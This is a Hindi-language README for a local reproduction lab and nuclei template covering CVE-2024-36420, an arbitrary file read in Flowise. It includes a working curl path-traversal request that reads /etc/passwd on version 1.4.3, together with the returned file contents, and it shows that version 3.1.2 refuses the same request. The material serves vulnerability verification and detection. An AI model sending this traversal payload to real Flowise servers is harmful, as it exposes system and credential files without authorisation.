POC_CVE-2024-36420

Flowise को प्रभावित करने वाले CVE-2024-36420 के लिए स्थानीय रिप्रोडक्शन लैब और nuclei टेम्पलेट ड्राफ्ट।

सारांश

CVE-2024-36420, Flowise में fileName बॉडी पैरामीटर के अनसैनिटाइज़्ड उपयोग के कारण उत्पन्न एक मनमानी फ़ाइल रीड (arbitrary file read) है, जो निम्न एंडपॉइंट पर होती है:

• POST /api/v1/openai-assistants-file

इस लैब का उपयोग निम्न की पुष्टि के लिए किया गया:

• flowiseai/flowise:1.4.3 पर भेद्य व्यवहार
• नए flowiseai/flowise:3.1.2 पर अस्वीकृत व्यवहार

संदर्भ

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-36420
• GitHub Security Lab: https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/

फ़ाइलें

• docker-compose.yml
• docker-compose.latest.yml
• CVE-2024-36420.yaml

भेद्य परीक्षण

Flowise 1.4.3 प्रारंभ करें:

docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise

मैन्युअल सत्यापन:

curl -i \
  -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
  -H 'Content-Type: application/json' \
  -d '{"fileName":"../../../../etc/passwd"}'

देखी गई भेद्य प्रतिक्रिया:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

नए संस्करण नियंत्रण

नया Flowise 3.1.2 प्रारंभ करें:

docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise

मैन्युअल सत्यापन:

curl -i \
  -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
  -H 'Content-Type: application/json' \
  -d '{"fileName":"../../../../etc/passwd"}'

नए संस्करण में देखी गई प्रतिक्रिया:

HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}

Nuclei

टेम्पलेट सत्यापित करें:

nuclei -duc -validate -t CVE-2024-36420.yaml

भेद्य लक्ष्य पर चलाएँ:

nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml

अपेक्षित व्यवहार:

• 1.4.3: मैच
• 3.1.2: कोई मैच नहीं

नोट्स

• संस्करणों के बीच का अंतर स्वीकार्य है क्योंकि यह रिपॉज़िटरी केवल अवलोकित व्यवहार का दावा करती है:
  • 1.4.3 पर भेद्य
  • 3.1.2 पर अस्वीकृत
• यह पैच किए गए संस्करण की सटीक सीमा का दावा नहीं करती।
• किसी भी वास्तविक दुनिया के लक्ष्य का उपयोग नहीं किया गया।